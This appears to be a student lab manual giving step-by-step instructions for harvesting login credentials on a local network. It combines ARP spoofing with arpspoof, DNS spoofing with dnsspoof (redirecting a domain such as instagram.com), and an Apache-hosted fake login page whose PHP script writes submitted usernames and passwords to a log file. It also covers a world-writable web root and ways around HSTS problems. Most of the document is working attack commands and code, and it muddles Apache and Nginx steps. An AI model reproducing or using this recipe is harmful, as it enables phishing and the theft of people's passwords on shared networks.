THE MANUAL TO CREDENTIAL HARVESTING THROUGH ARP & DNS POISONING

Abstract

In this lab we use several techniques such as ARP Poisoning as well as DNS Poisoning to host a malicious website using an Apache web server.

Joshua Meza

Table of Contents

Steps

In DNS spoofing labs, Apache is often used to create a fake website to simulate a phishing attack. Here's a brief breakdown:

1. **Setup Apache:** Install and configure Apache on your Kali machine. This becomes the fake web server.
2. **Create a Fake Website:** Design a webpage that mimics the target site you want to spoof. Save it in the Apache web server directory.
3. **DNS Spoofing:** Modify the DNS settings to redirect the target domain to your Kali machine's IP address.
4. **Access from Victim:** When someone tries to visit the target site, they get redirected to your fake site hosted on Apache.

What is an Apache web server?

The Apache web server, often referred to as Apache HTTP Server, is a widely-used open-source web server software developed and maintained by the Apache Software Foundation. It plays a fundamental role in serving and delivering web content on the internet. Apache is highly versatile and supports various operating systems, including Unix-based systems, Linux, Windows, and more. Its modular architecture allows for extensive customization and the addition of features through modules. Apache utilizes the Hypertext Transfer Protocol (HTTP) to facilitate the transfer of web pages and other resources between servers and clients, making it a key component in the infrastructure of countless websites and web applications. Known for its stability, performance, and security features, Apache has been a dominant force in the web server landscape since its inception.

Setup Apache

1. To update your package list and install Apache:

```
sudo apt update && sudo apt install apache2
```

2. Once the installation is complete, commence the service:

sudo service apache2 start

3. To check on the status of the Apache service:

sudo service apache2 status

Feel free to confirm if it's running by opening a web browser and navigating to http://localhost. This allows you to validate the successful installation and operation of the Apache web server on your Kali machine. If executed correctly, your local browser should display the default Apache landing page.

Create a fake Website

When visiting the local host, the displayed website is the fake one, which lacks subtlety. To enhance the deception, it's essential to craft a convincing HTML document. Before continuing with your HTTP server operations, replace the existing file located at /var/www/html/index.html. Use either Nano or Vim in the terminal to navigate to the file:

Using Nano:

nano /var/www/html/index.html

Using Vim:

vim /var/www/html/index.html

Navigating to the Root Directory:

A way of confirming you are in the root directory is by typing the following command: pwd

If you're curious about the file's location and wish to navigate the directory to find it, execute the following command: cd /

This will take you to the root directory where you will be able to now see the /var directory by using the command: ls.

Configuring index.html file

The index.nginx-debian.html file is the default landing page for the Nginx web server on a Debian-based Linux system, such as Ubuntu. It serves as the default index or welcome page that is displayed when you access a web server that is running Nginx but doesn't have a specific index file configured.

The contents of this file typically provide basic information about the Nginx server and often include links to relevant documentation or other resources. It's a placeholder page, and if you haven't set up a custom index file (like index.html), Nginx will serve the index.nginx-debian.html file by default.

You can find this file in the default web root directory for Nginx on Debian-based systems, often located at /var/www/html/. If you want to customize the default page, you can edit this file or replace it with your own index.html file.

Options to replace the index.html file

1. **To remove the index.html file (do not do it yet before you read ahead and make the copy first), you can use the rm command in the terminal. Here's the general syntax:**
   sudo rm /var/www/html/index.html
   This command removes the index.html file located in the /var/www/html/ directory. It's important to use sudo to ensure you have the necessary permissions to delete the file. Before executing this command, make sure you don't need the file anymore, as it will be permanently deleted.

2. **If you want to keep a backup, you can copy it to another location before removing it:**
   sudo cp /var/www/html/index.html /path/to/backup/directory
   Replace /path/to/backup/directory with the actual path where you want to store the backup.

3. **After deleting the file, you might want to restart Nginx to ensure the changes take effect:**
   sudo service nginx restart
   Always be careful when using the rm command, especially with sudo, to avoid unintentional deletions.

4. **If you want to keep the index.html file but simply rename it, you can use the mv command. Here's how you can do it (RECCOMENDED):**
   sudo mv /var/www/html/index.html /var/www/html/your_new_filename.html
   Replace your_new_filename.html with the desired new name for the file. This command effectively renames the file by moving it to the same directory with a different name. After renaming it, you may need to adjust your Nginx configuration if you want Nginx to recognize the new filename as the default index file.

5. **If you just want to temporarily disable it without deleting or renaming, you can comment out the index line in your Nginx configuration:**
   # index index.html index.htm;
   This way, Nginx won't prioritize index.html as the default index file until you uncomment the line or specify a different order. After making changes to the Nginx configuration, remember to restart Nginx for the changes to take effect: sudo service nginx restart

Now create your own index.html and login.php files

Navigate to the directory where you want to create the file:

cd /var/www/html/

Create a new file named index.html and open it in Nano:

sudo nano index.html

In Nano, enter your HTML code (Do this also for the login.php file):

Save the file by pressing Ctrl + O, then press Enter. Exit Nano by pressing Ctrl + X.

Now, you've created your own index.html file with your custom HTML code. You can access it through your web browser by navigating to your server's address. Remember to refresh your browser.

Here is an overly simplified version of the login page mainly because if you want to replicate it exactly you would need to spend a lot more time doing so. Creating a CSS and JS file would take ages. You can copy the CSS and create a CSS file. Same goes for JS,

Here is a snippet of html code with inline CSS & also PHP to make your life easier:

HTML CODE:

```
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
  <title>Login</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      background-color: #fafafa;
      height: 100vh;
```

```
        margin: 0;
        display: flex;
        justify-content: center;
        align-items: center;
    }

    .container {
        background-color: white;
        padding: 20px;
        border-radius: 8px;
        box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        width: 300px;
    }

    input {
        width: calc(100% - 20px);
        padding: 10px;
        margin: 8px 0;
        box-sizing: border-box;
    }

    button {
        background-color: #3897f0;
        color: white;
        padding: 10px;
        border: none;
        border-radius: 4px;
        cursor: pointer;
        width: calc(100% - 20px);
    }
  </style>
</head>
<body>
  <div class="container">
    <h1>Login</h1>
    <form action="/login.php" method="post">
        <label for="username">Username</label>
        <input type="text" id="username" name="username" placeholder="Username" required>

        <label for="password">Password</label>
        <input type="password" id="password" name="password" placeholder="Password" required>

        <button type="submit">Log In</button>
    </form>
  </div>
</body>
</html>
```

Here is a snippet of the PHP Code:

```
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
  $username = filter_var($_POST["username"], FILTER_SANITIZE_STRING);
  $password = filter_var($_POST["password"], FILTER_SANITIZE_STRING);

  $loginInfo = "Username: $username\nPassword: $password\n\n";
  $filePath = "/var/www/html/login_log.txt";

  if (file_put_contents($filePath, $loginInfo, FILE_APPEND) !== false) {
    echo "Received login request for username: $username";
  } else {
    $errorMessage = error_get_last()['message'];
    echo "Error writing to the log file: $errorMessage";
  }
} else {
  echo "Invalid request method";
}
?>
```

Logging User Credentials

Difference between touch and nano:

In summary, `sudo touch` is for creating empty files, while `sudo nano` is for opening files for editing. Nano can be used to create file, just not empty ones

Create the php file:

```
sudo touch login_log.txt
```

Creating a file to view username and password:

Ensure that the web server has write permissions for the login_log.txt file and read permissions for the /var/www/html directory.

You can temporarily set more permissive permissions for testing purposes:

```
Sudo chmod 644 login_log.txt
```

```
sudo chmod -R 777 /var/www/html
```

View:

You can view the contents using either cat or nano

```
Sudo nano login_log.txt
```

```
Cat login_log.txt
```

Start ARPSPOOF

Enable IP forwarding:

```
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
```

To install it on Debian-based systems like Ubuntu, you can use:

```
sudo apt-get update
```

```
sudo apt-get install dsniff
```

Arpsoof command: Sudo arpspoof -I <interface> -t <target IPV4> <default gateway IPV4>

Arpspoof command: Sudo arpspoof -I <interface> -t <default gateway IPV4> <target IPV4>

DNSSPOOF

Create a file that lists DNS name that will be spoofed and the IP address that we will send the traffic to. You can do this by creating a text file on your desktop called 'host.txt' and putting in the following information: '<desired ipv4 address> <host.txt>'

Example: 192.168.52.134 instagram.com

Remember to insert those values as these are just place holders. You can name your text file anything, but I will be using 'host.txt'.

Go into your host.txt files directory. In my case it is in desktop.

Then use DNSSPOOF. Download it if you do not have it. You can either 'sudo apt install dnsspoof' or do the following commands and it will ask you if you want to install it to which you say 'y' for yes.

Use DNSSPOOF: sudo dnsspoof -I eth0 -f host.txt

Check the DNS using nslookup

Troubleshooting

Troubleshooting Network Configuration for DNS Spoofing

1. Check for Port Binding Issues:

Confirm that no other process is binding to port 53 on your Kali machine. You can use the following command to check for any process using port 53:

```
sudo lsof -i :53
```

If another process is using port 53, you may need to stop or reconfigure that process.

2. Edit the Network Configuration File:

Open the network configuration file in a text editor. The file location might vary based on your Linux distribution. Common locations include /etc/network/interfaces for Debian-based systems or /etc/sysconfig/network-scripts/ifcfg-eth0 for Red Hat-based systems.

```
sudo nano /etc/network/interfaces  # For Debian-based systems
```

or

```
sudo nano /etc/sysconfig/network-scripts/ifcfg-eth0  # For Red Hat-based systems
```

Change the configuration to set the desired interface name (eth0).

3. For Debian-based systems, the configuration might look like:

```
auto eth0

iface eth0 inet dhcp
```

For Red Hat-based systems:

```
DEVICE=eth0

BOOTPROTO=dhcp

ONBOOT=yes
```

4. Save and Exit

5. Restart the Network Service:

```
sudo service networking restart  # For Debian-based systems
```

or

```
sudo service network restart  # For Red Hat-based systems
```

6. Verify the Changes:

```
ip link show
```

Ensure that eth0 is UP and has the correct IP address.

Keep in mind that these steps provide a general guide, and the exact procedure might vary based on your Linux distribution. Additionally, modifying network configurations may temporarily disrupt network connectivity, so it's recommended to perform these changes in a controlled environment or have alternative means of access to the machine.

If you encounter any issues or the service still fails to restart, you can check the detailed error messages using the commands suggested in the error message:

```
systemctl status networking.service
```

```
journalctl -xeu networking.service
```

These commands will provide more information about why the networking service failed to restart, and you can address the issue based on the error messages.

Apache Server Still not logging ?

Open your Apache configuration file:

This could be located at /etc/apache2/apache2.conf, /etc/httpd/httpd.conf, or in a virtual host configuration file.

Look for the section where CustomLog directives are defined. It may look something like this:

```
CustomLog ${APACHE_LOG_DIR}/access.log combined
```

Add the following line to log the POST data:

```
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" \"%{Content-Type}i\"
\"%{POST}p\"" combined_with_post
```

```
CustomLog ${APACHE_LOG_DIR}/access.log combined_with_post
```

This new combined_with_post log format includes the %{POST}p token, which represents the POST data.

Challenges in Establishing Connections to Spoofed Websites: Understanding HSTS and Pre-Loaded Browser Lists

If you're observing logging indicating the use of dnsspoof but no actual connections to the fake website, there are potential reasons related to security implementations. Two common factors that may contribute to this situation are:

HSTS (HTTP Strict Transport Security):

HSTS is a web security policy mechanism that helps protect websites against man-in-the-middle attacks such as protocol downgrade attacks and cookie hijacking. When a website has HSTS enabled, the browser is instructed to only connect to the website over HTTPS. If your fake website is not served over HTTPS and the target domain has HSTS implemented, the browser will refuse to connect, leading to no connections even though the DNS spoofing is taking place.

Pre-Loaded Browser Lists:

Some major browsers maintain pre-loaded lists of websites that should always be accessed over HTTPS. These lists are compiled to enhance user security by ensuring secure connections to well-known websites. If the target domain is on such a list, even if you successfully perform DNS spoofing, the browser may refuse to connect to the fake website if it's not served over HTTPS.

In summary, if you're encountering issues with connections to the fake website despite using dnsspoof, consider checking if HSTS is implemented on the target domain and whether the target domain is on any pre-loaded browser lists for HTTPS enforcement. These security measures can prevent connections to non-secure websites, leading to the observed logging without actual connections.